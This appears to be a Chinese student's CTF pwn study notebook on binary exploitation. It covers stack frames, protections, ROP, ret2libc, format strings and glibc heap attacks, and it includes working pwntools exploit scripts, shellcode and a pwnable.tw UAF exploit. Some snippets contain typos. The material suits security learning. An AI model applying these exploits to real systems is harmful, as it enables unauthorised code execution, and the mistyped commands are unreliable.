pwn的核心:二进制漏洞的利用和挖掘
研究层次:编译成机器码的二进制程序的漏洞二进制程序实际为可执行文件
linux系统下ELF=windows系统下EXE文件
一次简单的hack

image-20230307002535708

CTF中pwn攻击脚本思路:

1.pwn程序/服务器(必不可少滴)开端——>from pwn import*
2.使用python中pwn tools用remote函数打开远端需要攻击的服务器端口
3.进行链接
4.构造恶意数据
5.发送恶意数据
6.使用交互函数(io.interactive())获取flag

程序的编译与链接

image-20230206225702913

linux借助文件头进行识别!(用vim打开可查看源码–>%!xxd可查看十六进制表示)image-20230206230237084

编译过程

ls指list file即列出文件;可用ll查看文件详细内容。
gcc兼具编译器和汇编器的功能。
ctrl+alt+t 启动shell

image-20230206231832031

Linux环境下执行可执行文件
!xdd%-r 还原文件
rm a.out 删除
./a.out 是linux/unix环境下gcc编译源代码(c/c++)并连来接产生的默认执行文件名。./a.out表示当前目录下的a.out文件。

image-20230206232441503

链接
动态链接:printf的代码到动态链接库里;
静态链接:printf中的代码直接写好在对应文件中
image-20230206235815274
文件权限不够时如何处理得到shell
下以python3为例

image-20230208112405419

mv命令:用户可以使用mv命令来为文件或目录改名或将文件由一个目录移入另一个目录中。
image-20230208141609541

段用来标注进程、印象代码段权限。
image-20230208142032344

./时才被读入内存
cache越大(M存储),cpu速度越快。

image-20230208151435139

image-20230208152953051

实模式下运行(易受到攻击)

image-20230208161344724

image-20230208161302543

image-20230208162239886

十六进制转二进制

image-20230208162610999

image-20230208164349628

image-20230208164650781

image-20230208170556987

image-20230208170832516

image-20230208172413117

image-20230208173923251

image-20230208173818672

C语言函数栈帧
栈帧:记录一个函数此时的状态信息
函数的栈底由EBP或RBP保存
函数的栈顶由ESP或RSP保存

image-20230209094759828

32位视图
子函数所用参数保存在父函数栈帧的末尾
image-20230209100855874

image-20230209101728223

image-20230209102340553

image-20230209102615915

push ebp保持父函数栈底的空间
sum函数调用完后需要恢复main函数的信息,即在调用sum函数前需将mian函数栈底压入。
image-20230209103333679

栈的栈顶一定是当前执行函数所属的栈帧。
image-20230209104000217

无需舍弃只需标记为不需使用值即可——>扩大esp到ebp处(避开局部变量存储空间)
注意:此过程中变化为对应值的地址存储在ebp中——>对应值存储在ebp中
image-20230209105139584

ebp减小一个字长;esp加一个字长。通过return指令将return address弹出保存在eap(指令寄存器)中
image-20230209110221569

image-20230209110919361

call指令自带保存返回地址。
leave:将esp ebp放于同一位置后popebp。
pop总是将esp指向的值对应的1字长数据传入到目标位置

image-20230209112610898

缓冲区溢出中 栈溢出控制程序流核心:
当子函数返回父函数时会将Ruturn Adress中的值返回到PC寄存器eip(32位)中,当eip中值写入目标值的地址,既可完成程序执行流的控制

image-20230216235806404

举例演示:
image-20230219153353227

1
2
3
4
5
6
7
#include<stdio.h>
int main()
{
char str[8];
read (0,str,24);
retrun 0;
}

此时产生segmentation fault(段错误)
image-20230219154052743

image-20230219154202756

image-20230219161736349

安全保护措施(拿到二进制文件之后先检查)

注意出现gets函数必有栈溢出!strart函数无法F5(编写时已用汇编代码实现)
vulnerable——>可怜受害者函数捏~

image-20230221002608337

ctrl+A后:可看C和汇编比较image-20230221002832185

ctrl+s–>保存
(Fn+)shift+F12->打开字符串界面(ASCII范围内的字符串)
打开目标文件得关键句逐层剖析反汇编get完整main体->end
pwntools:nc转到问题变量本体image-20230221160248520

CTF建议:pip2+pip3均安装
image-20230221160924626+代理地址可进行安装vi

拿到题目——>先拿到本地shell——>pwntools攻击——>io本地切换为远程(脚本不变)
image-20230221162513214

链接:process()->本地;remote()—>远程
函数:
io.recvline() 接收一行字符串; io.recv()接收多行字符串
io.send() 注意:函数内部只能为字节流(即为二进制表示)
io.send(p32(0)+b” ╰(°▽°)╯——>表示bite对象”)
io.sendline()——>一直读取直到\0或\n;
image-20230221165139013

nc tools地址 ❗❗❗flag隐藏在其中❗❗❗
image-20230221165745894

python3开 remote(“ip”,端口)
特殊控制符\r——> 输出当前行后持续进行清空
image-20230221171244473

base64工具(pwntools工具)
image-20230221171442165

❗BASE64:包含大写字母(A-Z),小写字母(a-z),数字(0-9)以及+/ 一般带==
❗BASE32:只有大写字母(A-Z)和数字234567 一般带===
❗BASE16即为16进制
当ASCll用Base加密达不到所对应的位数的时候用=号补齐
image-20230221234220854

cd “你想要进的目录” //当目录名称中含有空格、中文或其它特殊字符时请用双引号包括

以下是最常用的几个目录的写法:

/ 代表根目录

. 当前目录

.. 上级目录

~ 当前用户的默认工作目录

目录可以省略不写, 与cd ~ 有相同的效果

image-20230222002023021

关闭标准输入输出的缓冲区 使得其中内容可以立马显示出来 ctrl+#调小字体
下断点方式:pwndbg中b *+一个地址 或者b + 一个函数
先下断点后run gdb中运行输入首字母即可 例:n——>步过 s——>standin
下断点:b(breakpoint) * +地址/函数
image-20230222191527599

此时可修改部分为buffer(8字节)即eax到ebp部分(16大小)覆盖时需+4(覆盖ebp)
持续向下写
image-20230223075312799找到后门函数system 注:可不是次次这么便宜的哦🤣
syetem返回字符串=在shell中直接执行字符串 pwd:打印工作目录
image-20230223075541707

使得vualable return到shell即可
image-20230223103831511

p(pack)对数据进行打包变为字符型数据 ; 例:p32(0x8048522)打包为32bite位字符

image-20230223104016114

gcc:Linux环境下的一款编译器。
ctrl+d 退出python交互环境!
image-20230223112513513
bss默认栈可执行
image-20230411152517155
关闭随机化(ASLR)

1
2
3
4
5
6
-fro-stack-protector 关闭canary
-z exexstack 打开栈的可执行权限
-no-pie 关闭pie(程序编译时打开pie 将地址随机化为无关代码 即随机化elf文件)
-g 带上调试信息 调试时可以看见源代码(ret2stack.c未删除情况下)
-o 输出目标文件

image-20230412200146471chmod +x 给权限
shellcode(偏移+返回地址)

地址空间随机化<——操作系统实现 可输入0检查ASLR是否关闭
image-20230223115046186

动态链接库看为1 地址随机分配 栈同(偏移值随机地址未知)
image-20230223232443609

bss用来存放全局变量 可读可写可执行 shellcode返回到bss
shellcode返回栈区由于aslr的保护不可得到所需栈地址,返回bss即可

image-20230224081202824

image-20230224081246465

image-20230223112708517

image-20230223113034773

在pwn里,保护一共是四种分别是RELRO、Stack、NX、PIE。
1.RELRO(ReLocation Read-Only):分为两种情况,第一种情况是Partial RELRO,这种情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。
2.Stack(canary):这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。
3.NX(no execute):为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用,NX打开说明栈上已经给出全部可用的system()、”/bin/sh”,不可自行写入。
4.PIE(Position Independent Executable):PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址。

context.arch = ‘“amch64”——>将位机器码转为64位
vmmap显示虚拟内存的分布
image-20230224125905589

32位 1字长=4bite 64位 1字长 = 8bite push栈向上增长pop向下增长(减小)
leave执行:1.将esp归位至ebp位 2.pop ebp将previous ebp中的值存放到ebp中 3.ebp返回父函数栈底
esp自动+1字长(执行pop)
return的作用:将当前函数栈顶中的值pop返回到eip寄存器中 程序正在执行的地址变成return address
return address中的值存放到eip中 eip返回到上一个函数

image-20230226153916098

image-20230226154515139

pwndbg的好处捏~
image-20230226155524945
自动编写payload(默认结果为x86下32bite大小) print(shellcraft.sh() )

image-20230226155734820

asm将汇编码转变为机器码后发送至远程内存虚拟空间的某个位置
l.just(x,y)从左向右,左端数据不变对右边的数据不断进行填充 x:填充的数据长度 y:填充内容
cat.flag.txt 得到flag内容
image-20230226162609326

关闭aslr指令。
image-20230306232744633

关闭canary(堆栈共享库)pie(共享库编译时 将elf文件本体的载入地址随机化) - 0输出目标文件
image-20230307000253788

给可执行文件权限 ./运行shell
ctrl+c ->向当前执行进程发送一个终止信号(复制ctrl+shift+c)
crl+d 退出当前shell
context.arch = “amd64”(告诉py系统架构【系统位数】)
image-20230310080407959关闭标准缓冲区得到输出值

system()函数调用/bin/sh来执行参数指定的命令,/bin/sh 一般是一个软连接,指向某个具体的shell,比如bash,-c选项是告诉shell从字符串command中读取命令; 在该command执行期间,SIGCHLD是被阻塞的,好比在说:hi,内核,这会不要给我送SIGCHLD信号,等我忙完再说; 在该command执行期间,SIGINT和SIGQUIT是被忽略的,意思是进程收到这两个信号后没有任何动作

image-20230325231231643

动态链接库本身就是一个可执行文件。
my_puts函数输出过程(无各栈保护可考虑rop)
image-20230409153211276

image-20230409153739815

image-20230409163357731

ROPgadget 获取text段所需汇编代码(ret——>将栈中信息弹到eip中) eax、ebx优先【ROP总会至溢出retaddr后】

image-20230409171200929

异或(xor)常用于清空缓冲区
flat()函数 接收一个列表参数将列表中的每一项都转为字节型数据并且自动把不足一字节数据进行填补

1
io = flat([b'A'*112,pop_eax_ret,0xb,pop_eax_ecx_ebx_ret,0,0,bin_sh,int_80h])

grep功能:对输入行中含有用户自定参数的行进行全部输出

1
ROPgadget --binary ret2syscall --only "pop|ret" | head

sos 救大命踩坑!!!输入格式我哭死/(ㄒoㄒ)/
image-20230410210009493

1
ROPgadget  --binary ret2syscall --only "pop|ret" | grep eax

image-20230410194103144

1
ROPgadget --binary 文件名 --only "int"(执行系统调用 当为0x80时中断结束0x80表示进行系统调用的call)

image-20230410201002577

python3中必须用b转换为字节流型数据 generator转换器 next()函数(前+hex转为十六进制)!!转化为十进制数据ww其实不如ROPgadget来的方便喽(目前个人觉得)

1
ROPgadget --binary 文件名 --string '/bin/sh' (查询后门地址)

ret2text ret2shellcode 均直接含有后门函数 ret2text 自接收一串base64解码得flag ret2shellcode

1
sys_execve() ->0xb

image-20230412204604894
内核系统调用函数名 用户调用代号
image-20230412214823229

静态链接和动态链接
image-20230412214936627

区别:image-20230412215132315

静态链接方便找到gadget:静态链接将库函数全部写入elf文件本身 容易用指针片段构成攻击流
动态链接只是做了标记,用即拿(别处借xx例:printf调用vprintf【2000多行 还要再调吓人的嘞】)

image-20230413185604877

静态链接在链接时进行 动态链接在装载时进行

image-20230414210446532

puts函数动态链接在可执行段code载入(只为虚拟内存地址【libc全载入】但并不知真实地址)在运行时可找此时plt结解析使得puts内容填入data段got.plt文件【plt在代码段 got在数据段】

image-20230414212714060

image-20230414214750326

image-20230414214800705

1
2
gcc -fro-pie -g -m32 -o link 动态链接文件名(32位)
gcc -fro-pie -g -0 link 动态链接文件名(64位)

查看plt x 地址——>以二进制形式查看

1
pwndbg disass 地址->反汇编

image-20230414222605298

info b 查看断点信息 b 行号可下断点(含C代码情况下) d 行号可删除断点【无C语言 b 地址下断点】
c 遇到下一个断点/输入(puts)/程序中断

1
2
3
4
b main == start 【若无main函数则停在程序入口第一条(start才为程序入口)】
s 步进 n 步过
backtrace 函数调用栈【呈现祖孙关系(😀)】
return 直接回到main函数

image-20230415092539078

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
} //此处system函数虽无后门 但提供system plt表象 使得在text中可自动将执行流拉入libc段

image-20230418124940615

image-20230415100827595

image-20230415101652128

image-20230415112529947

image-20230415114324006

amd64向下兼容x86故含有eax
函数调用栈地址从高地址向低地址增长【更好的利用虚拟内存空间】(寄存器为低地址向高地址增长即先入后出)

【后续画图补充 好懒(我真该死啊 忘了的时候就知道动手记录了😶)】赎罪录:

image-20230418130159741

image-20230418132149276画的太撇了(笑)

image-20230418132737386

执行完调用返回dyntest(均在内存空间中)

image-20230418133451380

image-20230418205450196

【调用流程两点需注意】(x86例)

image-20230418212246848

father中也含有子函数所需arg
image-20230418213125953

查表易犯错误(直接调got)

1
ret = system@got(❌)

image-20230419201116801

1
2
3
4
5
6
elf = ELF("./dyntest")
[
文件形式及保护
]
elf.got["puts"]//获取函数表象地址
hex(elf.got["puts"])//获取函数真实地址

image-20230419203107813

image-20230419215529699

【nop slide】
使得ASLR继续执行ret2shellcode
image-20230423182143460

使执行流一直在nop段(maybe运气不好eip指不到nop位置 多运行几次即可)
core文件:记载程序崩溃时断点信息及错误信息
image-20230423193313158

可以看成谁放的数据就为谁的栈帧
函数往上第二个字长写入其所需要的参数(大部分函数)
image-20230423194347199

system调用ret addr后自动push父函数ebp【函数内汇编第一步push ebp均向上写两字长到valuable】
最后两个函数执行此类模式即可完成攻击

image-20230423194601499

image-20230423194754995

rop链将函数所需参数直接写入到上一函数的返回地址处
image-20230424192129082

image-20230424194313669

无”/bin/sh”也可映射 system函数地址(text段 plt)若无plt则需持续溢出直至出现真实地址

我是小偷 无需exit()【偷完就跑】🤭

1
2
strings ret2libc1 | grep /bin/sh
//string a.out | grep flag(简单逆向)

image-20230424200850159

【ret2libc1】image-20230424205359479

image-20230424204704035

image-20230424205428601小小程序员><image-20230424210938062

动态调试108+4(ebp)溢出【ret2libc2】image-20230425125354842

无“/bin/sh” 此时需自行构造 在bss段找到可写入部分

image-20230425125119149

image-20230425153257042

image-20230426210301792

进阶版思路

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io = process("./ret2libc2")

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat([b'a'*112,gets_plt,pop_ebx,buf2,system_plt,0xdeadbeef(pop_ebx),buf2])
#符合ret的寄存器均可不一定一定是pop_ebx
io.seneline(payload)
io.sendline(b'/bin.sh')
io.interactieve()

【ret2libc3】

1
2
v8 = strtol(&buf, v4, v5); 将字符串转化为整数存储在v8里
long int strtol(const char *str, char **endptr, int base)

image-20230427202338093

image-20230427202101873
注意我们输送send的值要用str【程序接收的总是str】 linux系统下最小单位一叶(4kb)
/bin/sh(通过绝对地址输入bin中的sh)==sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")#lld ret2libc3查看本地libc(动态)

io.sendlineafter(b" :",str(elf.got["puts"]))#防bug与程序保持一致
io.recvuntil(b" :")
libcBase = int(io.recvuntil(b"\n",drop=True),16) - libc.symbols["puts"]#drop=True不保留返回值(此处为接收但不保留\n)

success("libcBase ->{:#x}",format(libcBase))#用来debug 结果正确后进行打印 {:#}格式化字符串
#format转换格式 前x表示转换为十六进制
#oneGadget = libcBase + 0x3a9fc

#payload = flat(cyclic(60),oneGadget)
payload=flat(cyclic(60),libcBase+libc.symbols["system"],0xdeadbeef,next(elf.search(b"sh\x00")))
io.sendlineafter(b" :",payload)

io.interactive()

偏移:文件某一个位置距文件开头第一个字节距离

1
one_gadget libc-2.23.so(动态链接文件名)->得偏移量 #碰运气喽😀

image-20230428193230160

gdb调试
image-20230511094407053

1
set follow-fork-mode-parent 解决该问题(gdb中)

x64环境下传参要先传入六个寄存器中(rdi rsi rdx rcx r8 r9 )
劫持程序返回到目的函数之前要先把目的函数的参数传递完毕(即传递参数的gadget放在目标函数之前)任何时候数据的写入都是从低地址向高地址写入
image-20230520224921532

image-20230520225916659

一般有jz跳转提示(一长串pop 寄存器)**[lib_csu]**

image-20230521000849599

注意看地址(如图中edi只可写低八位)
libc泄露技巧:找到关键函数(如write【返回时有栈溢出】)对应的的plt下got 用函数的真实地址-函数在libc中的地址=libc基地址 ->找system+“/bin/sh”偏移传入泄露
【level3】
image-20230522173452594

学会用转换捏io.recv(4/8)

【花式栈溢出】

1.程序中无真正main函数(dyn)
start->libc_start_mian->init->main
image-20230523101555442

image-20230523101634224

此时栈中无栈帧 全部存储的shell里的环境变量 其中记录了当前执行程序的名字
找程序入口:IDA(可爱女人)main地址 gdbzho中下断点调试 stack查看栈帧
image-20230523104215828

checksecc 发现canary打开 image-20230523104710354

运行程序 手动超长溢出(可利用python)查看提示 【可从IDA中辅助分析】

image-20230523105629335

之前为segment fault 现why为stack samshing
覆盖后触发stack_chk_fail函数 强行退出程序 ->stack smashing

image-20230523114523470
如何在可爱女人中观察到Canary?
标志:段寄存器读入

1
v4 = _readfsqword(0x28) //🌰

image-20230523122130079

Canary放置无硬性标准 需分析
elf文件较小时 地址可能在虚拟地址中映射两份
image-20230610163822498

strip去掉函数名——>防护程序 (IDA中自动用偏移作为函数名)
此时无“main”函数【gdb中断点下不了】

【栈迁移】

花样很多啦 栈欺骗
利用gadget覆盖ebp 恶意代码写在ebp中【pop ret/mov esp,ebp】ebp辅佐esp
esp抹除数据 ebp增加 控制esp即可
pwn3_x64

image-20230610182043459image-20230610182053082

write第三个参数无法获取时 运气(猜rdx>8)

ret需要给显示屏即标准输出 1是标准输出的代号

格式化字符串(保存在栈上)

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main()
{
char s[100];
int a = 1;
int b = 0x22222222;
int c = -1;
scanf("%s",s);
printf("%08x.%08x.%08x.%s\n",a.b,c,s);//第一个参数即为格式化字符串(%08x.)
printf(s);
return 0;
}

不给参数情况下 会直接将栈中内容进行打印

格式化字符串攻防中printf(”%s%s%s(足够长即可使得程序崩溃)”)

字符串截断漏洞主体利用思想

截断符的篡改或抹去(让函数误解程序未执行完毕)

image-20230615225648504

image-20230615225717582

1
2
3
4
5
%p溢出--->实际将栈上重要数据进行打印(如地址)可用于绕过canary
%s溢出--->解析栈打印其中内容 --->泄露任意地址
泄露任意地址:
1.泄露栈上本身存在的地址(如read@got)
2.泄露垃圾数据(篡改喽)再read@got

image-20230615232327380

为避免flag和格式化字符串第一个参数距离很远直接传地址即可(printf(”%100$d”,a,b,c))

image-20230616002416632

1
2
3
4
5
6
7
8
9
#include<stdio.h>
int main()
{
int a = 1;
int b = 2;
int c = 3;
printf("%3$d",a,b,c);//打印出3 $n--->打印出第几个参数
return 0;
}

%d —->打印有符号整型 -140….对应0xf(要么为动态链接库中地址 要么为栈上地址)
image-20230616134523270

逐参打印

image-20230616134746197

%n—->解析地址对应内容 —-写入前方已经打印成功的字符个数(任意地址写)
%n 写入4字节0x00000004
%hn写入两字节0x0004
%hhn写入一字节0x04
printf的第n+1个参数是格式化字符串的第n个参数
image-20230616162630147

0x0b = 11也可以说明为第十一个参数
空行部分相当于对填入数据的打印
关键:找read函数判断写入数据为格式化字符串第几个参数
x86可以直接数 x64前6个参数在寄存器中第7个才在栈上

image-20230616170955472

x64直接利用找参数位置 可暴力打印%7$p%8$p%9$p(仅为举例)
前6个参数在寄存器中 rsp为第7个—>对应n+1printf(flag)和n格式化字符串关系找到位置


作用:给用户随时提供可使用的内存 用完后归还

image-20230616174226840

堆管理器—>中间人

堆管理器并非由操作系统实现,而是由libc.so.6链接库实现。封装了一些系统调用﹐为用户提供方便的动态内存分配接口的同时﹐力求高效地管理由系统调用申请来的内存。

申请内存系统调用:
brk(data段末尾向上扩展调用)主线程系统调用
mmap(内存/磁盘映射)

决定要素:主线程brk和mmap都可用
子线程只可用mmap
子线程申请空间过大在mmap段映射 小可直接在data段开辟
image-20230616175743170

malloc用户向堆管理器要内存 brk和mmap向操作系统申请

arena(将物理内存映射到虚拟内存空间存储管理)
内存分配区,可以理解为堆管理器所持有的内存池

1
2
操作系统-->堆管理器-->用户
物理内存-->arena-->可用内存

堆管理器与用户的内存交易发生于arena中(堆管理器向操作系统批发来的有冗余的内存库)
image-20230618233511677

chunk(内存分配的最小单位 不可能小于8字节【两字长16字节(x64)】x32大小)
用户申请内存的单位,也是堆管理器管理内存的基本单位
malloc()返回的指针指向一个chunk的数据区域 chunk大小 大于malloc分配大小
chunk分配规律:只能分配字长整数倍大小—>size低三位一定为0

image-20230617134142917

image-20230617140647896

free chunk
image-20230617234752208

image-20230617143930107

注意在size低三位有三个控制字段
image-20230617145200469

A:主线程 M:是否为mmap P:用于free chunk(为1–>前一个chunk被写入数据即前一个chunk为malloc chunk 为0则前一个chunk为free chunk)1–>前一个chunk被占用 0–>前一个chunk pre-in-use

image-20230617152524631

fastbin free chunk 四字段控制结构 smallbin free chunk 四字段控制结构
bigbin free chunk 六字段控制结构

image-20230617215936729
image-20230618233738837

fast bins独立于其他几个bins 压栈出栈即可
image-20230617235205771

image-20230617235515996

image-20230617220021172

large bin free chunk 6个字段全部用到
malloc chunk 用前两个
malloc chunk前面还是malloc chunk时只用到第二个字段
small bin free chunk allocated chunk用前4个字段
fast bin free chunk 用前3个字段
经过第一次malloc后堆管理器才完成初始化
页对齐 页的大小是4kb 4kb需要2^12映射空间 12bits为3bytes变成3个0
image-20230617222745908

x64最下chunk单位(0x20大小)
image-20230617222844117

x86 同理得最小大小为0x10(切一半)
控制字段不可填写 堆管理器满足用户需求向操作系统申请0x100大小实际申请chunk大小为0x110(pre size+size 两字长 16bits 0x10大小)
image-20230617223313606

image-20230617225749420

1
2
3
4
5
6
7
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *ptr = malloc(0x100);
free(ptr);
}

malloc得到的函数指针指向size (图中)但chunk开头的地址是

image-20230617230144174

其他chunk为程序自身利用缓冲区提供(如:printf函数 【未指定stdout缓冲区时 printf函数默认用malloc得到一个堆中的缓冲区为stdout所用】)

image-20230617231321789

程序读取时以一条语句为单位 size大小为申请的0x100+prev size+size(两字长)此时p已被程序员复用 即此时总size大小(总chunk大小 0x100为malloc chunk大小)为0x111

previous size复用
prev size针对free chunk 即存储上一个free chunk
当上一个chunk不为fastbin free chunk时(为malloc chunk)prev chunk可被复用
image-20230617233352292

image-20230617233454554

以上变化chunk变化相同 8字节申请的大小为字长奇数倍分配空间=申请到的字长数-1malloc分配空间大小
image-20230618105030445

0x100数据区域的大小 0x10为控制字段的大小 1 prev in use 位大小

image-20230618105235986

放在fast bin 中的free chunk仍会被标记为在使用中(fast bin p位恒为1)
image-20230618105723997

物理链表【相邻chunk间size域连接(整数)】

通过prev size串联起来(获取前一个chunk地址)
image-20230617234705813

逻辑链表(存在于bins中)【指针连接】
image-20230618111056657

每一个bin都含有对应的链表 构成的bins链表称为逻辑链表
同类chunk串联到回收站中 malloc索取相应大小时可高效从回收站中提取

image-20230618111551403

bin
(临时【系统需要时可用】)保存刚被free后内存区域的结构(堆管理器中)
管理arena中空闲chunk的结构
以数组的形式存在 数组元素为相应大小的chunk链表的链表头
存在于arena的malloc_state中
如:
unsorted bin
fast bins
small bins
large bins
(tcache)
除fast bin和tcache为单向链表 其余bins均为双向链表
image-20230618230718261
unsorted bin smallbin largebin双向链表结构bin利用:
🤖malloc分配时
🍰获取很大chunk时优先从回收站中拿取 unsorted bins变为sorted bins使用
双向链接:先进先出(图上自上而下malloc)
好处:队列底部压入数据 头部取出数据 一条链表就可处理数据
small bin(大小固定)
一个bin存储两个地址 物理内存中连续 把所有chunk串联

image-20230618235211411

image-20230618235427918
large bins(大小不定【每一chunk大小不一】 最后一个chunk存储最后值)
大小为范围 —>用两个额外的控制域记录数据
image-20230618235448673

image-20230618234942479

fast bins可变为small bins(fast bin整体遍历检查时分类)

image-20230618235237538

BK POINTER 域无实际作用
top chunk
image-20230619151359619

malloc state(fastbinsY+bins)在libc数据段管理主进程
image-20230619120041795

什么样的chunk会进入usorted bins
刚刚释放(超过fastbin大小)不能进入fastbins且未被分类的

超出fastbins可用大小利用过程:unsorted先乞讨 合并链接凑大小 small large一起来 实在不够喊top
先找sortedbins 不够触发sorted遍历 合并unsorted相邻chunk并分类
即利用时只要找到比用户申请大的chunk即可 剩余部分为last remainder chunk转为fastbin部分最后进入unsorted bins

UAF

image-20230619160128310

image-20230619160356676

A free后的内存区

image-20230619160410293

在ree chunk和top chunk张放一个malloc chunk阻止两者合并(避免堆管理器的消耗)

image-20230619161430277

c分配到a所在的内存区域中 占用利用

gdb偏移下断点方法

1
b *$rebase(0x..)【偏移】

image-20230619193114872image-20230619193556660

image-20230619203856606

第四次malloc后得到栈上地址(堆分配)

free a后
image-20230619193754379

image-20230619194533056

防止double free漏洞(UAF):控制内存的指针和内存均需清空 (chunk被清空但指针未清空)
意外:低权限指针可因使用同一块内存区域拥有高权限指针功能(若低权限指针篡改返回值高权限指针会无意识传送到pie中)

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<stdlib.h>
int main()
{
int * p = malloc(16);
free(p);
free(p);
return 0;
}

image-20230619195914454

tips:
1.glibc2.26/2.27中无tache检查
2.fast bin会检查自身链表中每一个chunk大小是否为规定大小||新进入的chunk是否与上一个chunk重复(报double free 强制退出)

绕过:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
int main()
{
int* p = malloc(16);
malloc(16);
int* ptr = malloc(16);
free(p);
free(ptr);
free(p);
return 0;
}

fastbin_attackimage-20230619202854520

free后fd出现 此时此块chunk对于d来说为malloc chunk可被任意写入值(fd处)
fd写入一个stack值 诈骗fast bin过a后下一个free chunk在栈上 【任意霍霍实现】

image-20230619203751739
注意:fd始终指向下一个chunk开头地址 即stack对应栈上目标地址向上两个字长

unsorted_bin_attcak
可以把任意位置的地址篡改成较大的值(实际就是伪造chunk在栈上写一个大数值)
image-20230619205339973

程序目标将var篡改为较大值
image-20230619205857320

unlink移除中间的chunk 新fd和bk中填入unsorted bin中值(fd和bk数据域写入unsorted 地址)最大0x7ff…
house_of系列
malloc总是接收一个无符号整数 输入负数相当于传入一个超大数
整数溢出(超大整数等效于一个负数)
top chunk起始地址 + malloc分配空间超出整数内存空间大小–丢弃超出32位部分(最高位)补0 剩下数字变很小(32位表示空间大小)

此时这个很小的数很可能落在data处(?)

FSB&USF例题
(1)IDA观察
image-20230620155645246

scanf向v7、v8、v9写字符串(开辟的空间是连续的)
image-20230620161845271

连续的三个字长缓冲区
image-20230620162028689发现程序标记提示进入对应漏洞查看
image-20230620155732238

格式化字符串
image-20230620155800172image-20230620155817628

free(s)清空了内存但指针未销毁但随着echo3执行完毕对应s栈帧销毁故无影响 但 cleanup()函数free(0)对应uaf 即o内存被清空但指针未被销毁 此时再用另一指针与o指向同一内存空间即可获取主动权

surprise
image-20230620201633271

echo3free后s使用的空间最后还是留在对应得4字长chunk中 o最后一个参数写入shellcode(greeting) 首地址作为参数进行传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

p=process("./echo2")
elf=ELF("./echo2")

p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")

payload=b"%10$p"+b"A"*3 #A用作标记
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20


p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")

p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()

hacknote(32位)image-20230620231326851

image-20230620221606653
add函数
image-20230620221355683image-20230620220117301

框住部分掌握控制信息 size对应的chunk可由用户自定义(uaf)control上未puts 下为sub

delete函数

由下自上free两个chunk 但指针未被销毁 双free(uaf)
攻击第一步:
image-20230620222239841

malloc两次(写入垃圾数据的chunk+管理控制信息的chunk)

第二步
delete两个chunk 相同大小chunk进入同一fast bin self_puts第一个字长变为fd的第一个其他未变(包括指针)

malloc两次hou后
image-20230620223247527

传参用self_puts 地址 sub_chunk写入—>puts_got
泄露

image-20230620224148329

print(0)对接远程的puts

0此时保存的函数地址 获取0的地址进而利用两个chunk块
0中第一部分传入system地址(无可避免)用||(或)sh【前一条语句执行失败则执行sh】妙哉
image-20230620230551936

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

#p = remote("chall.pwnable.tw",10102)
p=process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
read_got = elf.got["read"]
pfputs = 0x804862b

def add_note(size,index):
p.recvuntil(b"choice :")
p.sendline(b"1")
p.recvuntil(b"size :")
p.sendline(size)
p.recvuntil(b"Content :")
p.sendline(index)

def delete_note(index):
p.recvuntil(b"choice :")
p.sendline(b"2")
p.recvuntil(b"Index :")
p.sendline(index)

def print_note(index):
p.recvuntil(b"choice :")
p.sendline(b"3")
p.recvuntil(b"Index :")
p.sendline(index)

#p.interactive()
add_note(b"16",b"aaaaa")
add_note(b"16",b"aaaaa")
delete_note(b'0')
delete_note(b'1')
add_note(b'8',p32(pfputs)+p32(read_got))
print_note(b'0')

pfread = u32(p.recv()[0:4])
pfsys = pfread - 0xd41c0 + 0x3a940
#p.interactive()
delete_note(b'2')
#p.interactive()
#p.recv()
#p.interactive()
add_note(b'8',p32(pfsys)+b"||sh")
print_note(b'0')
p.interactive()